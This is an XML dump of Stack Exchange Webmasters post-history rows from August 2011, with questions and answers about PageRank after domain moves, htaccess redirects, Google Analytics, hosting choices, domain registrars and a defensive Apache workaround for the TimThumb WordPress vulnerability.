  <row Id="43147" PostHistoryTypeId="2" PostId="17856" RevisionGUID="334bd3ed-a435-44a6-bf13-2a0c69a5f59f" CreationDate="2011-08-05T18:36:48.513" UserId="9416" UserDisplayName="IMRAN SHAFQAT" Text="I am a web developer and I had a website for over 3 years, I mostly work local so no high traffic. Recently I started a blog on my website and around **2 months ago I got pagerank 1**.&#xD;&#xA;&#xD;&#xA;After that I bought a new .com domain and move site to new domain and forwarded all traffic to new domain via htaccess file. Fine.&#xD;&#xA;&#xD;&#xA;But **now my previous website had got Page rank 2 but my new address still has pr zero**. Help me to understand this." />
  <row Id="43148" PostHistoryTypeId="1" PostId="17856" RevisionGUID="334bd3ed-a435-44a6-bf13-2a0c69a5f59f" CreationDate="2011-08-05T18:36:48.513" UserId="9416" UserDisplayName="IMRAN SHAFQAT" Text="My old domain is getting more PR while new is at PR 0, Please help me understand this" />
  <row Id="43149" PostHistoryTypeId="3" PostId="17856" RevisionGUID="334bd3ed-a435-44a6-bf13-2a0c69a5f59f" CreationDate="2011-08-05T18:36:48.513" UserId="9416" UserDisplayName="IMRAN SHAFQAT" Text="&lt;php&gt;&lt;htaccess&gt;&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="43150" PostHistoryTypeId="2" PostId="17859" RevisionGUID="ed8eeec5-91e7-4917-b0af-0fd9f39002d3" CreationDate="2011-08-05T19:06:01.630" UserId="9413" Text="My company has an implementation of Rally where we are tracking our work and Confluence where we keep everything else.&#xD;&#xA;&#xD;&#xA;I would like to build a dashboard within Confluence to report on the status of the current iteration and release in real time.  I know that there is a connector between the two http://agilecommons.org/posts/b6de60cdb9 but I can’t find any documentation.&#xD;&#xA;&#xD;&#xA;If anyone has had any luck with this integration I would love to hear about it.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="43151" PostHistoryTypeId="1" PostId="17859" RevisionGUID="ed8eeec5-91e7-4917-b0af-0fd9f39002d3" CreationDate="2011-08-05T19:06:01.630" UserId="9413" Text="Does anyone have experience integrating Rally reports into a Confluence Wiki?" />
  <row Id="43152" PostHistoryTypeId="3" PostId="17859" RevisionGUID="ed8eeec5-91e7-4917-b0af-0fd9f39002d3" CreationDate="2011-08-05T19:06:01.630" UserId="9413" Text="&lt;confluence&gt;" />
  <row Id="43153" PostHistoryTypeId="6" PostId="14878" RevisionGUID="eedcb2b8-8afa-4c28-8ca6-a20efd1b677e" CreationDate="2011-08-05T19:10:56.553" UserId="4502" Comment="edited tags" Text="&lt;looking-for-a-script&gt;&lt;blog&gt;&lt;django&gt;" />
  <row Id="43154" PostHistoryTypeId="5" PostId="17856" RevisionGUID="7e9323fd-2a55-4de7-8982-1a457d3972fe" CreationDate="2011-08-05T19:19:47.090" UserId="1253" Comment="modified tags, minor text edits" Text="I am a web developer and I had a website for over 3 years, I mostly work local so no high traffic. Recently I started a blog on my website and around **2 months ago I got PageRank 1**.&#xD;&#xA;&#xD;&#xA;After that I bought a new .com domain and move site to new domain and forwarded all traffic to new domain via htaccess file. Fine.&#xD;&#xA;&#xD;&#xA;But **now my previous website had got PageRank of 2 but my new address still has PageRank  of zero**. Help me to understand this." />
  <row Id="43155" PostHistoryTypeId="6" PostId="17856" RevisionGUID="7e9323fd-2a55-4de7-8982-1a457d3972fe" CreationDate="2011-08-05T19:19:47.090" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="43156" PostHistoryTypeId="2" PostId="17860" RevisionGUID="432830d0-bf3f-4df4-b9a0-bf92b8dc0d59" CreationDate="2011-08-05T20:48:31.397" UserId="9420" Text="It's been a long time since I've done any web-development, and I never needed to administer a server myself. However, I can read manuals with the best of them, and when someone needed advice regarding a wordpress installation vulnerable to the [TimThumb exploit](http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/), I told them to add the follwing to their `httpd.conf`:&#xD;&#xA;&#xD;&#xA;    &lt;Directory &quot;/path/to/cache/directory&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        # disallow changing options with a .htaccess file within the cache directory&#xD;&#xA;        AllowOverride None&#xD;&#xA;    &#xD;&#xA;        # disable all extra features, including CGI scripting&#xD;&#xA;        # prevents malicious code from running&#xD;&#xA;        Options None&#xD;&#xA;        &#xD;&#xA;        # don't let users browse cached files&#xD;&#xA;        # prevents the attacker from triggering script execution&#xD;&#xA;        Deny from all&#xD;&#xA;        &#xD;&#xA;        # explicitly disable php - shouldn't be necessary, but just in case ;)&#xD;&#xA;        php_flag engine off&#xD;&#xA;    &#xD;&#xA;    &lt;/Directory&gt;&#xD;&#xA;&#xD;&#xA;Was that advice sound? In particular, is this the correct choice of directives to prevent any script execution?" />
  <row Id="43157" PostHistoryTypeId="1" PostId="17860" RevisionGUID="432830d0-bf3f-4df4-b9a0-bf92b8dc0d59" CreationDate="2011-08-05T20:48:31.397" UserId="9420" Text="Prevent script execution as TimThumb exploit workaround" />
  <row Id="43158" PostHistoryTypeId="3" PostId="17860" RevisionGUID="432830d0-bf3f-4df4-b9a0-bf92b8dc0d59" CreationDate="2011-08-05T20:48:31.397" UserId="9420" Text="&lt;php&gt;&lt;apache&gt;" />
  <row Id="43159" PostHistoryTypeId="25" PostId="17848" RevisionGUID="2ec4da67-f349-492a-9e3c-d69226d50cd4" CreationDate="2011-08-05T21:34:10.657" Comment="http://twitter.com/#!/StackWebmasters/status/99594066425151488" />
  <row Id="43164" PostHistoryTypeId="2" PostId="17862" RevisionGUID="867b7714-80d8-4c82-99f5-870c308873a4" CreationDate="2011-08-05T22:38:11.557" UserId="1064" Text="Yes, those directives will effectively prevent script execution for any malicious scripts which may be written to that directory, however, you should definitely look at patching or removing any scripts which allow drive-by uploads to your cache directory from unauthenticated or untrusted users." />
  <row Id="43165" PostHistoryTypeId="2" PostId="17863" RevisionGUID="fdbdf4b1-30bb-4f56-afd0-dfe9682dbe86" CreationDate="2011-08-05T22:44:34.483" UserId="5148" Text="Well, maybe it is trying to see if multiple XML sitemaps may have been created/uploaded (e.g. in the case of XML sitemaps that have been split into multiple because each hit the upper limit of max URLS per XML sitemap file)" />
  <row Id="43166" PostHistoryTypeId="2" PostId="17864" RevisionGUID="86732768-0898-4a43-a08f-4639595fb181" CreationDate="2011-08-05T23:07:22.013" UserId="8710" Text="I currently have 63 websites (and counting) that I'm tracking on one Google Analytics account, and I'm starting to realize... this is becoming a bit cumbersome.&#xD;&#xA;&#xD;&#xA;What's the best way to collect traffic data in bulk?  Are there other resources out there that are better suited for this task?&#xD;&#xA;&#xD;&#xA;Does Google offer a bulk option for this kind of thing?  Would it be better to make separate analytics accounts?&#xD;&#xA;&#xD;&#xA;I'm just wondering if anyone else has had found a better solution that manually setting up all these accounts/setting up the tracking codes etc, when it comes to large scale management." />
  <row Id="43167" PostHistoryTypeId="1" PostId="17864" RevisionGUID="86732768-0898-4a43-a08f-4639595fb181" CreationDate="2011-08-05T23:07:22.013" UserId="8710" Text="Best way to track multiple sites with Google Analytics" />
  <row Id="43168" PostHistoryTypeId="3" PostId="17864" RevisionGUID="86732768-0898-4a43-a08f-4639595fb181" CreationDate="2011-08-05T23:07:22.013" UserId="8710" Text="&lt;google-analytics&gt;&lt;analytics&gt;&lt;tracking&gt;&lt;multiple-domains&gt;" />
  <row Id="43169" PostHistoryTypeId="2" PostId="17865" RevisionGUID="4fafd66f-f9c9-4c21-a594-f23aacd75211" CreationDate="2011-08-05T23:12:50.523" UserId="8957" Text="I don't think there are (cheap) solutions available, but it should not be too hard to track some basic stats yourself.&#xD;&#xA;&#xD;&#xA;You could either have a DB setup that can be reached by all the website and track users using sessions and have data submitted to the database. Or you could have all websites save tracking data locally, and you have a script running on either the main site or your computer that collects (wget) all the files, and then parses them and throws the data into a DB. In either case the code would be easy to integrate into a CMS (which i assume you're using)." />
  <row Id="43170" PostHistoryTypeId="2" PostId="17866" RevisionGUID="d8d1255a-05ff-440f-8cda-8ad56b69688f" CreationDate="2011-08-05T23:15:04.643" UserId="8710" Text="Yes it will temporarly hurt your rankings.  But good news, you can reduce the damage done.&#xD;&#xA;&#xD;&#xA;I would start by setting both sites up on [Google Webmasters][1] and going through the `Change of Address` process.  This notifies Google about the change, and will, in theory, move your rankings over along with it.&#xD;&#xA;&#xD;&#xA;Also set up `301` redirects to the new site, telling all crawlers that your domain has permanently moved to a new address.&#xD;&#xA;&#xD;&#xA;All this an more is explained in detail in [Moving your site  ][2] on Webmaster Tools Help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/&#xD;&#xA;  [2]: https://www.google.com/support/webmasters/bin/answer.py?answer=83105&amp;hl=en" />
  <row Id="43171" PostHistoryTypeId="25" PostId="17810" RevisionGUID="90f5c403-299b-415b-9a5e-43aa8592a076" CreationDate="2011-08-06T00:34:10.690" Comment="http://twitter.com/#!/StackWebmasters/status/99639365063557120" />
  <row Id="43172" PostHistoryTypeId="5" PostId="17827" RevisionGUID="aca844fe-8be2-422a-8f55-2f9fe5c6cdf6" CreationDate="2011-08-06T01:27:29.850" UserId="4016" Comment="deleted 118 characters in body" Text="I was looking on flickchart tonight and was wondering how they legitimized the usage of movie posters on their site, as I figure that those posters would be copyrighted. However it's been online for a few years now, the posters are still there, so I figure they're considered fair use.&#xD;&#xA;&#xD;&#xA;What my question is would this line in their TOS under copyright complaints they have the following line explain it?&#xD;&#xA;&#xD;&#xA;&gt; It is believed that the use of scaled-down, low-resolution forms of said media to provide criticism or comment qualifies as fair use under United States copyright law.&#xD;&#xA;&#xD;&#xA;So I guess my question is if that is actually valid, and if so, would the legislation be affected by the physical location of the servers that provide said content? I'm looking into projects that would utilize multiple images but the whole &quot;what is fair use&quot; issue has been both putting the projects on hold, and being a stubborn issue to resolve.&#xD;&#xA;&#xD;&#xA;Thanks for anyone that can help to shed some light on this issue." />
  <row Id="43173" PostHistoryTypeId="5" PostId="14607" RevisionGUID="71156c96-432b-4cb5-adfc-439bf9f76811" CreationDate="2011-08-06T02:49:15.303" UserId="4306" Comment="Updated answer with more info" Text="Here's one possible scenario.&#xD;&#xA;&#xD;&#xA;* Google Webmaster Tools tracks searches and clicks TO your domain&#xD;&#xA;* Google Analytics records page views and keywords ON your domain&#xD;&#xA;* So between leaving Google and reaching your pages with the GA tag, the keywords are getting stripped&#xD;&#xA;&#xD;&#xA;Things to check:&#xD;&#xA;&#xD;&#xA;* Analytics is correctly configured on **every** page - make sure the tracking tag in use on the homepage is that same as the internal pages&#xD;&#xA;* You might have Javascript redirects that are stripping out the referrer and keyword information - browse your site with JS disabled and see if everything behaves properly&#xD;&#xA;* You might have meta-refreshes that are redirecting visitors and losing the referrer info. [Disable meta-refreshes][1] and try browsing the site.&#xD;&#xA;* You might have some server-side redirects that strip the referrer information - use a tool like redbot.org to see what headers are being returned when you request your site&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update:** here's my generic simple .htaccess. I've modified it for your case to redirect to Home.html. Let me know if it works.&#xD;&#xA;&#xD;&#xA;    # Turn on URL rewriting&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    # Installation directory&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    # Protect hidden files from being viewed&#xD;&#xA;    &lt;Files .*&gt;&#xD;&#xA;    	Order Deny,Allow&#xD;&#xA;    	Deny From All&#xD;&#xA;    &lt;/Files&gt;&#xD;&#xA;        &#xD;&#xA;    # Allow any files or directories that exist to be displayed directly&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    # Rewrite all other URLs to Home.html&#xD;&#xA;    RewriteRule .* Home.html [PT]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jkwebtalks.com/2010/02/disable-automatic-meta-refreshredirect.html&#xD;&#xA;&#xD;&#xA;Note: you'll have to rename or delete the existing index.html for this to work.&#xD;&#xA;" />
  <row Id="43174" PostHistoryTypeId="17" PostId="17867" RevisionGUID="e16d00af-2c3a-4581-8e43-8832e5038c5c" CreationDate="2011-08-06T03:23:04.853" UserId="-1" Comment="from http://stackoverflow.com/questions/6964056/if-your-site-has-been-flagged-this-site-may-harm-your-computer-how-long-before" Text="" />
  <row Id="43175" PostHistoryTypeId="2" PostId="17867" RevisionGUID="d7856b82-61d9-40f8-84f9-5ca1e4d020dc" CreationDate="2011-08-06T00:50:50.070" UserId="9421" UserDisplayName="Preston" Text="If your site has &quot;this site may harm your computer&quot; in the search results how long can you be in that situation before Google takes action. When they do take action does anyone know what that action is? I assume it results ultimately in delisting but I can't find anything specific." />
  <row Id="43176" PostHistoryTypeId="1" PostId="17867" RevisionGUID="d7856b82-61d9-40f8-84f9-5ca1e4d020dc" CreationDate="2011-08-06T00:50:50.070" UserId="9421" UserDisplayName="Preston" Text="If your site has been flagged, &quot;this site may harm your computer&quot; how long before Google takes action" />
  <row Id="43177" PostHistoryTypeId="3" PostId="17867" RevisionGUID="d7856b82-61d9-40f8-84f9-5ca1e4d020dc" CreationDate="2011-08-06T00:50:50.070" UserId="9421" UserDisplayName="Preston" Text="&lt;google&gt;&lt;seo&gt;&lt;malware&gt;" />
  <row Id="43178" PostHistoryTypeId="25" PostId="17788" RevisionGUID="65e8e86b-3c7e-48f7-9e1a-a5ebddaa8122" CreationDate="2011-08-06T03:34:10.500" Comment="http://twitter.com/#!/StackWebmasters/status/99684663324442624" />
  <row Id="43179" PostHistoryTypeId="25" PostId="17786" RevisionGUID="0e53e049-4d6d-4d43-9183-aef06283b305" CreationDate="2011-08-06T06:34:10.597" Comment="http://twitter.com/#!/StackWebmasters/status/99729963523112961" />
  <row Id="43180" PostHistoryTypeId="25" PostId="17815" RevisionGUID="7a07746e-55cd-493e-bb52-23ba563fce7a" CreationDate="2011-08-06T09:34:10.567" Comment="http://twitter.com/#!/StackWebmasters/status/99775262123765760" />
  <row Id="43181" PostHistoryTypeId="2" PostId="17868" RevisionGUID="415a70e0-8a14-45a5-ac7c-28a2d0461756" CreationDate="2011-08-06T10:35:36.973" UserId="9423" Text="I'm just wondering whether it would be appropriate/acceptable to use the following folder naming convention within a website development?&#xD;&#xA;&#xD;&#xA;For folders which the end users will see as part of the URL:&#xD;&#xA;&#xD;&#xA;&gt;/Photos&#xD;&#xA;&#xD;&#xA;&gt;/Downloads&#xD;&#xA;&#xD;&#xA;&gt;/Downloads/Documents&#xD;&#xA;&#xD;&#xA;(basically, the standard way of naming folders)&#xD;&#xA;&#xD;&#xA;... but for folders which aren't seen by the user, but which contain resources used by the website:&#xD;&#xA;&#xD;&#xA;&gt;/_sitegraphics&#xD;&#xA;&#xD;&#xA;&gt;/_js&#xD;&#xA;&#xD;&#xA;&gt;/_xml&#xD;&#xA;&#xD;&#xA;&gt;/Photos/_photosxml&#xD;&#xA;&#xD;&#xA;Are there any reasons that prefixing the 'private' folders with an underscore is a bad idea? I'm only considering it because I think it keeps things tidy and easier to identifty.&#xD;&#xA;" />
  <row Id="43182" PostHistoryTypeId="1" PostId="17868" RevisionGUID="415a70e0-8a14-45a5-ac7c-28a2d0461756" CreationDate="2011-08-06T10:35:36.973" UserId="9423" Text="Folder naming convention in a web development" />
  <row Id="43183" PostHistoryTypeId="3" PostId="17868" RevisionGUID="415a70e0-8a14-45a5-ac7c-28a2d0461756" CreationDate="2011-08-06T10:35:36.973" UserId="9423" Text="&lt;web-development&gt;&lt;asp.net&gt;&lt;filenames&gt;" />
  <row Id="43184" PostHistoryTypeId="2" PostId="17869" RevisionGUID="e46c5ce8-19cd-4b70-a532-5ce5ef4ebb6a" CreationDate="2011-08-06T11:24:55.233" UserId="1243" Text="I often use a very similar naming convention / separation of system and userland folders. Either using the `_` (underscore) or `@` (at) to prefix the system folders. Like you say, it makes the folders easier to identify (when arranged alphabetical they are at the top) and I've not come across anything negative to doing it this way.&#xD;&#xA;&#xD;&#xA;However, I do try to keep the `_`/`@` system folders to a small core of folders at the root. And subfolders (inside a system folder) use regular folder names.&#xD;&#xA;&#xD;&#xA;Example...&#xD;&#xA;&#xD;&#xA;&gt;    /public_html  &#xD;&#xA;&gt;    ----/@W3d  &#xD;&#xA;&gt;    --------/Core  &#xD;&#xA;&gt;    --------/Ext  &#xD;&#xA;&gt;    --------/Project  &#xD;&#xA;&#xD;&#xA;This is generally for server-side scripts. I don't always do this with JavaScript and CSS - may be for the core files in an application. For server-side script you could always keep them in folders above the document root, then they are truly separated." />
  <row Id="43185" PostHistoryTypeId="2" PostId="17870" RevisionGUID="700ae3de-fd14-4b45-b55e-1c28a03e19eb" CreationDate="2011-08-06T12:17:45.000" UserId="4180" Text="Let's say i have video, astist, photos and biography as custom pust types...&#xD;&#xA;&#xD;&#xA;How can i display on a video page links and partialy content from biography and photos?&#xD;&#xA;&#xD;&#xA;How should i think at this and how can i do it?" />
  <row Id="43186" PostHistoryTypeId="1" PostId="17870" RevisionGUID="700ae3de-fd14-4b45-b55e-1c28a03e19eb" CreationDate="2011-08-06T12:17:45.000" UserId="4180" Text="How can i connect multiple wordpress custom post types?" />
  <row Id="43187" PostHistoryTypeId="3" PostId="17870" RevisionGUID="700ae3de-fd14-4b45-b55e-1c28a03e19eb" CreationDate="2011-08-06T12:17:45.000" UserId="4180" Text="&lt;wordpress&gt;&lt;post&gt;" />
  <row Id="43188" PostHistoryTypeId="25" PostId="17860" RevisionGUID="352dea00-75b4-445a-bb3d-8223743ec707" CreationDate="2011-08-06T12:34:10.790" Comment="http://twitter.com/#!/StackWebmasters/status/99820560917340160" />
  <row Id="43189" PostHistoryTypeId="2" PostId="17871" RevisionGUID="cfdacd1a-2476-4eb3-96f5-0fd3d48bce3e" CreationDate="2011-08-06T13:13:41.710" UserId="9426" Text="hopefully someone can give me a roadmap to get this done.&#xD;&#xA;&#xD;&#xA;I run a self-hosted Wordpress blog at&#xD;&#xA;&#xD;&#xA;`http://www.example.com`&#xD;&#xA;&#xD;&#xA;which has numerous posts/links such as &#xD;&#xA;&#xD;&#xA;`http://www.example.com/videos/this-is-post-23/`&#xD;&#xA;`http://www.example.com/pictures/this-is-post-34/`&#xD;&#xA;`http://www.example.com/news/this-is-post-67/`&#xD;&#xA;&#xD;&#xA;I am now planning in moving to a new domain, `http://mysite.com`.&#xD;&#xA;&#xD;&#xA;I would like to move my content into `mysite.com` as follows:&#xD;&#xA;&#xD;&#xA;`http://mysite.com/blog/videos/this-is-post-23/`&#xD;&#xA;`http://mysite.com/blog/pictures/this-is-post-34/`&#xD;&#xA;`http://mysite.com/blog/news/this-is-post-67/`&#xD;&#xA;&#xD;&#xA;My sense is that a 301 redirect will not suffice and wonder if changes elsewhere (htaccess?) are needed to make this move without screwing up my pagerank (currently 5).&#xD;&#xA;&#xD;&#xA;Any ideas or suggestions? My server is LAMP.&#xD;&#xA;&#xD;&#xA;Thanks for helping!" />
  <row Id="43190" PostHistoryTypeId="1" PostId="17871" RevisionGUID="cfdacd1a-2476-4eb3-96f5-0fd3d48bce3e" CreationDate="2011-08-06T13:13:41.710" UserId="9426" Text="Setting up a redirect from 'www.example.com' to 'www.mysite.com/blog'" />
  <row Id="43191" PostHistoryTypeId="3" PostId="17871" RevisionGUID="cfdacd1a-2476-4eb3-96f5-0fd3d48bce3e" CreationDate="2011-08-06T13:13:41.710" UserId="9426" Text="&lt;wordpress&gt;&lt;htaccess&gt;&lt;redirects&gt;&lt;blog&gt;&lt;301-redirect&gt;" />
  <row Id="43192" PostHistoryTypeId="2" PostId="17872" RevisionGUID="d780b36e-7650-467c-832f-8edfa66ee2a7" CreationDate="2011-08-06T13:41:05.357" UserId="9427" Text="I see that there are many e-commerce open source platforms around, but very few can handle a marketplace, with support for multiple vendors, seller personal page, feedbacks, ....&#xD;&#xA;&#xD;&#xA;I've just found a plugin for UberCart, but it doesn't suit my needs.&#xD;&#xA;&#xD;&#xA;Before starting to reinvent the wheel, anyone else know an already existing solution?" />
  <row Id="43193" PostHistoryTypeId="1" PostId="17872" RevisionGUID="d780b36e-7650-467c-832f-8edfa66ee2a7" CreationDate="2011-08-06T13:41:05.357" UserId="9427" Text="OpenSource Marketplace Platform" />
  <row Id="43194" PostHistoryTypeId="3" PostId="17872" RevisionGUID="d780b36e-7650-467c-832f-8edfa66ee2a7" CreationDate="2011-08-06T13:41:05.357" UserId="9427" Text="&lt;ecommerce&gt;" />
  <row Id="43195" PostHistoryTypeId="2" PostId="17873" RevisionGUID="adeb6c8b-c4a9-4de9-91fe-45141d63d0fe" CreationDate="2011-08-06T14:05:00.167" UserId="9428" Text="I need to upgrade my static Godaddy's shared s l o w site to VPS or cloud server.&#xD;&#xA;I found the following hosting companies - Rackspace, Linode, Inmotion, Hostgator (Slicehost is actually Rackspace and is immigrating to the Rackspace platform)&#xD;&#xA;I am new to VPS hosting, so far I have the the following issues:&#xD;&#xA;&#xD;&#xA; 1. List item&#xD;&#xA; 2. Managed hosting vs unmanaged hosting.&#xD;&#xA; 3. cPanel support - is it so helpful?&#xD;&#xA; 4. Weekly/daily Backups&#xD;&#xA; 5. Company support.&#xD;&#xA; 6. Price&#xD;&#xA; 7. Server speed &amp; performance&#xD;&#xA; 8. Ease of scalability.&#xD;&#xA; 9. Option to put more than one domain&#xD;&#xA;Which company do you think is best/worse for each criteria?" />
  <row Id="43196" PostHistoryTypeId="1" PostId="17873" RevisionGUID="adeb6c8b-c4a9-4de9-91fe-45141d63d0fe" CreationDate="2011-08-06T14:05:00.167" UserId="9428" Text="Linode vs Rackspace vs Inmotion vs Hostgator" />
  <row Id="43197" PostHistoryTypeId="3" PostId="17873" RevisionGUID="adeb6c8b-c4a9-4de9-91fe-45141d63d0fe" CreationDate="2011-08-06T14:05:00.167" UserId="9428" Text="&lt;web-hosting&gt;&lt;vps&gt;&lt;cloud&gt;" />
  <row Id="43198" PostHistoryTypeId="2" PostId="17874" RevisionGUID="8efd985a-89d4-435d-ae57-379974aa69fe" CreationDate="2011-08-06T14:50:53.733" UserId="8354" Text="301 Redirect is exactly what you need. You new URL (on new site) has single &amp; very small constant/persistent difference: new URL has `/blog` in front of old URL.&#xD;&#xA;&#xD;&#xA;As simple as:&#xD;&#xA;&#xD;&#xA;    Redirect 301 / http://mysite.com/blog/&#xD;&#xA;&#xD;&#xA;The same but using **mod_rewrite**:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteRule (.*) http://mysite.com/blog/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;Any of these rules should be place in .htaccess in website root folder on `www.example.com` site and placed **before** WordPress rewrite block.&#xD;&#xA;&#xD;&#xA;The &quot;bad&quot; thing -- is that requests for images and other static resources (on old site) are also will be redirected .. and if they are located in a different location (not in `/blog` folder), you may have quite a few 404 hits on your new site (that's if someone will be requesting those resources directly, which should not happen under normal circumstances)." />
  <row Id="43199" PostHistoryTypeId="6" PostId="17872" RevisionGUID="da15baec-3279-4e2c-bf88-7299ea9328da" CreationDate="2011-08-06T15:11:02.237" UserId="1253" Comment="modified tags" Text="&lt;looking-for-a-script&gt;&lt;ecommerce&gt;" />
  <row Id="43200" PostHistoryTypeId="14" PostId="17870" RevisionGUID="5abd6371-8e68-47ed-9f74-6e5e2dce34fa" CreationDate="2011-08-06T15:11:17.167" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="43201" PostHistoryTypeId="17" PostId="17870" RevisionGUID="ff1a0355-b1bb-4bdc-9939-1c5dba30f0ea" CreationDate="2011-08-06T15:11:17.180" UserId="1253" Comment="to http://wordpress.stackexchange.com/questions/25153/how-can-i-connect-multiple-wordpress-custom-post-types" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43202" PostHistoryTypeId="10" PostId="17870" RevisionGUID="87e0b70b-08e6-4d9b-a416-41e021b36afc" CreationDate="2011-08-06T15:11:15.857" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43203" PostHistoryTypeId="10" PostId="17873" RevisionGUID="7152e233-5fed-40ae-9e35-5c59748bd456" CreationDate="2011-08-06T15:15:15.197" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43204" PostHistoryTypeId="25" PostId="17757" RevisionGUID="681a4fa4-e339-4272-ba53-a8096d761b14" CreationDate="2011-08-06T15:34:10.727" Comment="http://twitter.com/#!/StackWebmasters/status/99865858876243970" />
  <row Id="43205" PostHistoryTypeId="2" PostId="17875" RevisionGUID="afaf7d2b-e7ff-4a69-8ea3-77cae85331ca" CreationDate="2011-08-06T15:40:40.053" UserId="8364" Text="I have following questions about domain name registration:&#xD;&#xA;1: Will it matter, in technical aspect, with whom I register my domain? I know for webhosting there are lot of things to consider e.g. uptime/support/etc.&#xD;&#xA;&#xD;&#xA;2: What impact do I have if I transfer domain from one registrar to another?" />
  <row Id="43206" PostHistoryTypeId="1" PostId="17875" RevisionGUID="afaf7d2b-e7ff-4a69-8ea3-77cae85331ca" CreationDate="2011-08-06T15:40:40.053" UserId="8364" Text="Domain registration - Does the registrar matter?" />
  <row Id="43207" PostHistoryTypeId="3" PostId="17875" RevisionGUID="afaf7d2b-e7ff-4a69-8ea3-77cae85331ca" CreationDate="2011-08-06T15:40:40.053" UserId="8364" Text="&lt;domain-registration&gt;" />
  <row Id="43208" PostHistoryTypeId="2" PostId="17876" RevisionGUID="79852632-21ef-4ed6-b28d-3b5ba86fc0d8" CreationDate="2011-08-06T16:08:07.097" UserId="9431" Text="I have a website that's currently entirely English. I'm adding support for multiple languages, and would like them all indexed (so I can't serve different languages at the same URL).&#xD;&#xA;&#xD;&#xA;I opted to use / to redirect to /en-GB/ (or the best language I can, based on browser headers and the languages/cultures I have). I'm avoiding the use of sessions (for performance and scaling), so all links in the site are relative (as if the culture name is a folder).&#xD;&#xA;&#xD;&#xA;This all works great, but I'm curious about how Google will treat the redirect at the homepage, bearing in mind:&#xD;&#xA;&#xD;&#xA;* Many links will go to /&#xD;&#xA;* Google may be redirected to a different version of the site from the root / depending on headers it passes&#xD;&#xA;* Many people will linked directly to their preferred versions of the site&#xD;&#xA;* Some languages (en-US and en-GB) will be mostly the same, except for subtle differences and date formats (penalties for duplicate content?)" />
  <row Id="43209" PostHistoryTypeId="1" PostId="17876" RevisionGUID="79852632-21ef-4ed6-b28d-3b5ba86fc0d8" CreationDate="2011-08-06T16:08:07.097" UserId="9431" Text="How does Google/SEs react to redirects from a domain root /" />
  <row Id="43210" PostHistoryTypeId="3" PostId="17876" RevisionGUID="79852632-21ef-4ed6-b28d-3b5ba86fc0d8" CreationDate="2011-08-06T16:08:07.097" UserId="9431" Text="&lt;seo&gt;&lt;google&gt;&lt;redirects&gt;&lt;language&gt;&lt;translation&gt;" />
  <row Id="43211" PostHistoryTypeId="2" PostId="17877" RevisionGUID="ae8794fb-b67b-4dda-a1b6-91daa7ac40fd" CreationDate="2011-08-06T16:29:13.490" UserId="2484" Text="There is no technical difference in the name registration.  All domain names are ultimately stored in the central name repositories.  So there is no difference in uptime or whatever.&#xD;&#xA;&#xD;&#xA;The differences in registrars come down to things like service, services (do they provide their own dns hosting, private registration, etc..) and price.  &#xD;&#xA;&#xD;&#xA;Service wise, you need to look at their policies in the event you let your domain expire and want to get it back (maybe you forgot to renew it), and how much that costs.&#xD;&#xA;&#xD;&#xA;As for transfer, you pay a fee for the transfer.  The impact is that it takes some time to perform." />
  <row Id="43215" PostHistoryTypeId="2" PostId="17879" RevisionGUID="23a65fcb-1a22-47a4-9265-6f9245d3e397" CreationDate="2011-08-06T17:33:44.170" UserId="4064" Text="As Mike Keller has said Linode is a good choice, they are reliable and cheap (starting ~$20US). You can choose from many Linux distros and install all applications you need. I've got one, and I have php, python, apache, subversion+trac, etc. If you need your provider to install software for you then you're asking for managed servers, that cost money so if you want to keep it cheap you have to do it yourself otherwise you have to pay.&#xD;&#xA;If you need GUI for configuring your sites you can install [Webmin][1] on your server, it has a lot of features, you can manage configuration of DNS, Apache, FTP, etc. If you need MySQL GUI management then install [PHPMyAdmin][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webmin.com/&#xD;&#xA;  [2]: http://www.phpmyadmin.net/home_page/index.php" />
  <row Id="43216" PostHistoryTypeId="17" PostId="17880" RevisionGUID="cfaa681f-46a5-4591-8c36-3529b99e023d" CreationDate="2011-08-06T17:37:04.840" UserId="-1" Comment="from http://serverfault.com/questions/298446/when-using-google-sites-with-a-godaddy-domain-how-do-you-alias-example-com-to-ww" Text="" />
  <row Id="43217" PostHistoryTypeId="17" PostId="17881" RevisionGUID="7033d39e-ff80-4be0-9375-a59665214c54" CreationDate="2011-08-06T17:37:04.840" UserId="-1" Comment="from http://serverfault.com/questions/298446/when-using-google-sites-with-a-godaddy-domain-how-do-you-alias-example-com-to-ww" Text="" />
  <row Id="43218" PostHistoryTypeId="2" PostId="17881" RevisionGUID="307d7d18-e649-4c54-8f07-5b1e4580bbc3" CreationDate="2011-08-06T17:36:13.947" UserDisplayName="Miah" Text="Instead of aliasing www.example.com to example.com, you should configure example.com as Google points out, then create a CNAME in your Godaddy DNS configuration that points to example.com.&#xD;&#xA;&#xD;&#xA;You can find more details on configuring CNAMES with Godaddy [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://help.godaddy.com/article/680#cnames" />
